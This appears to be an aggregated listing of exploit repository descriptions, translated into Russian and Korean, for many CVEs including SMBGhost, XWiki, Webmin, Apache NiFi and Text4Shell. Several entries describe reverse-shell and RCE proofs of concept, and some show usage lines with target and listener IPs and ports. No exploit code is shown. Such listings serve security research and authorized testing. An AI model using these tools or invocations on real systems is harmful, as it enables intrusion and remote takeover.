CVE-2020-0796

CVE-2020-0796 Рабочий эксплойт PoC CVE-2020-0796 - Reverse Bind Shell Протестировано с помощью Python2.7 Установка: pip install -r requirements.txt Запуск: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2026-33017-Exploit

Fireflow RCE Exploit Удаленное выполнение кода для Langflow через конечную точку buildpublictmp. Эксплуатация через конечную точку сборки публичного потока, которая выполняет обратную оболочку на целевой системе. Требования Python 3.8+ Библиотека httpx Установка: pip install httpx Использование...

CVE-2025-31644

CVE-2025-31644: F5 BIG-IP Appliance 모드의 명령 주입 “save” 명령의 “file” 매개변수는 명령 주입 공격에 취약하여, “/mgmt” 웹 API 또는 SSH “tmsh” 셸에 대한 관리자 권한을 보유한 인증된 공격자가 대상 시스템에서 “root” 사용자로 원격 코드 실행을 달성할 수 있게 합니다. 참고: 이 발견은 BIG-IP가 Appliance 모드로 실행될 때만 취약점으로 간주됩니다. 이는 관리자 역할의 인증된 공격자가 임의의 Advanced Shellbash 명령 실행을 방지하는...

xwiki-15.10.8-reverse-shell-cve-2025-24893

CVE-2025-24893 Reverse Shell Эксплойт для XWiki Отказ от ответственности: Данный скрипт предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения...

CVE-2022-37706

CVE-2022-37706 CVE-2022-37706 취약점은 Enlightenment 윈도우 관리자와 관련이 있으며, 특히 enlightenmentsys 바이너리와 관련됩니다. 이 바이너리는 SUIDSet User ID 비트가 활성화되어 있어 상승된 권한일반적으로 root 사용자으로 실행될 수 있습니다. 요약: 취약점 : CVE-2022-37706은 로컬 권한 상승 취약점입니다. 구성 요소 : Enlightenment 윈도우 관리자의 enlightenmentsys 바이너리. 문제점 : 공격자는 이 SUID 바이너리에서 부적절...

React2Shell

🚀 R2S - Фреймворк эксплуатации Next.js RSC Продвинутый фреймворк пост-эксплуатации для RCE в React Server Components Next.js Возможности • Установка • Использование • Команды • Примеры 📋 Обзор R2S — это комплексный фреймворк эксплуатации и пост-эксплуатации, нацеленный на уязвимость React Server...

cve-2024-31317

Исследование CVE-2024-31317 CVE-2024-31317 предоставляет непривилегированный доступ к любому uid и области SELinux, доступным обычным Android-приложениям. Это даёт доступ к uid 1000 system и uid 2000 shell и может быть запущено полностью из непривилегированного приложения, что позволяет сохранять...

CVE-2019-9624

CVE-2019-9624 Webmin 1.9.0용 인증된 RCE Webmin 1.900 인증된 RCE - CVE-2019-9624 익스플로잇 1. 취약점 설명 CVE-2019-9624 는 Webmin 1.900까지의 버전에서 발생하는 인증된 원격 코드 실행RCE 취약점입니다. 관리자 사용자가 shell 또는 file 모듈을 통해 root 권한 으로 임의의 시스템 명령을 실행할 수 있습니다. 2. 기술적 실행 흐름 1단계: 인증 및 세션 관리 Webmin은 사용자 지정 인증 핸들러를 사용합니다. 자동화된 로그인을 성공하려면...

pwnacle-fusion

pwnacle-fusion Автоматический эксплойт для Oracle Reports, CVE-2012-3153 / CVE-2012-3152 Благодарности @misssudo за раскрытие Использование: ./pwnacle.rb targeturl payloadurl Этот эксплойт использует обе CVE для загрузки .jsp-шелла из вашего payloadurl, который затем доступен по адресу...

xiaomi15-dada-cve-2026-64560

Xiaomi 15 dada CVE-2026-64560 NebuSec CVE-2026-64560 Android 개념 증명을 특정 Xiaomi 15 빌드 하나에 맞게 조정한 디바이스별 버전입니다. ADB 셸 전용 헬퍼를 통해 현재 부팅에 대한 임시 루트 액세스를 제공합니다. !WARNING 이는 실험적인 커널 익스플로잇 코드입니다. 디바이스를 재부팅하거나 커널 상태를 손상시키거나 데이터 손실을 초래할 수 있습니다. 소유한 디바이스 또는 명시적으로 테스트 권한을 부여받은 디바이스에서만 사용하십시오. 먼저 중요한 데이터를 백업하십시오...

CVE-2023-34468

CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC 편집 가능한 Apache NiFi ExecuteSQL 프로세서를 악용하여 H2 RUNSCRIPT 페이로드로 Bash 리버스 셸을 통한 원격 명령 실행을 트리거하는 간단한 Python PoC입니다. 승인된 테스트 및 연구 목적으로만 사용하십시오. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에는 사용하지 마십시오. 동작 방식 ExecuteSQL processor update - H2 RUNSCRIPT...

CVE-2026-4480-PoC

CVE-2026-4480-PoC CVE-2026-4480 – Внедрение команд через имя задания печати Samba Обзор CVE-2026-4480 — это уязвимость внедрения команд, затрагивающая определенные конфигурации печати Samba, использующие внешние команды печати. Уязвимость существует из-за того, что Samba вставляет управляемые...

CVE-2026-27971_POC

CVE-2026-27971 — Qwik server$ 인증되지 않은 RCE PoC !WARNING 이 저장소에는 활성 원격 코드 실행RCE 개념 증명PoC이 포함되어 있습니다. 소유한 시스템 또는 명시적으로 테스트 승인을 받은 시스템에서만 사용하십시오. 작성자는 무단 사용 또는 피해에 대해 책임을 지지 않습니다. Qwik server$ RPC 역직렬화 메커니즘의 인증되지 않은 원격 코드 실행 취약점인 CVE-2026-27971 / GHSA-p9x5-jp3h-96mm 에 대한 독립형 Python 개념 증명PoC입니다. 이 PoC...

CVE-2024-4157-SSRF-RCE-Reverse-Shell

CVE-2024-4157: Получение обратной оболочки на Havoc C2 — Связка SSRF с RCE Получите обратную оболочку с локальным IP и портом, связывая CVE-2024-4157 POC с havocauthrce Использование Основная информация $ python3 exploit.py usage: exploit.py -h -t TARGET -i IP -p PORT -A USERAGENT -H HOSTNAME -u...

CVE-2009-4623

CVE-2009-4623 CVE-2009-4623 원격 쉘: 비대화형 쉘을 얻고, 고급 사용을 위해 다른 쉘을 여십시오!!! 사용법: CVE-2009-4623.sh hostnameandPath 예시: CVE-2009-4623.sh http://192.168.1.24/advancedcommentsystem/admin.php 옵션: -h 이 잡동사니...

BlueDoor

BlueDoor CTF 챌린지 개요 챌린지 이름 : BlueDoor CVE : CVE-2017-0144 EternalBlue 난이도 : 3/5 분류 : 익스플로잇, Windows 작성자 : Seth Davis BlueDoor는 Windows 7 시스템의 실제 취약점EternalBlue - CVE-2017-0144을 시뮬레이션합니다. 목표는 취약점을 악용하고, 권한을 상승시켜 숨겨진 플래그를 획득하는 것입니다. 요구 사항 가상 머신 소프트웨어 : VMware, VirtualBox 또는 이에 상응하는 소프트웨어 운영 체제 :...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 설명 이 스크립트는 Apache Commons Text버전 -param $PARAMETER -L $LHOST -P $LPORT 예시 python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 면책 조항 이 도구는 교육 목적과 공인된 침투 테스트만을 위해 제작되었습니다. 저자는 이 스크립트로 인한 오용이나 피해에 대해 책임을 지지 않습니다...

CVE-2024-4439

Exploit CVE-2024-4439 이 Python 스크립트는 취약점 CVE-2024-4439 에 대한 익스플로잇을 시연합니다. 이 스크립트를 사용하여 취약한 WordPress 사이트를 테스트할 수 있습니다. 사용법 시작 전에 git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -r r.txt --break-system-packages 다음 명령어를 사용하여 스크립트를 실행하세요: python3 exploit.py -u...

CVE-2017-9757

syncbreeze 익스플로잇 Syncbreeze v10.0.28로부터 셸을 획득하는 셸코드...

bash-4.2-fixed-CVE-2014-6271

Введение Это GNU Bash, версия 4.2. Bash — это Bourne Again SHell проекта GNU, полная реализация спецификации POSIX shell, но также с интерактивным редактированием командной строки, управлением заданиями на архитектурах, которые это поддерживают, возможностями в стиле csh, такими как подстановка...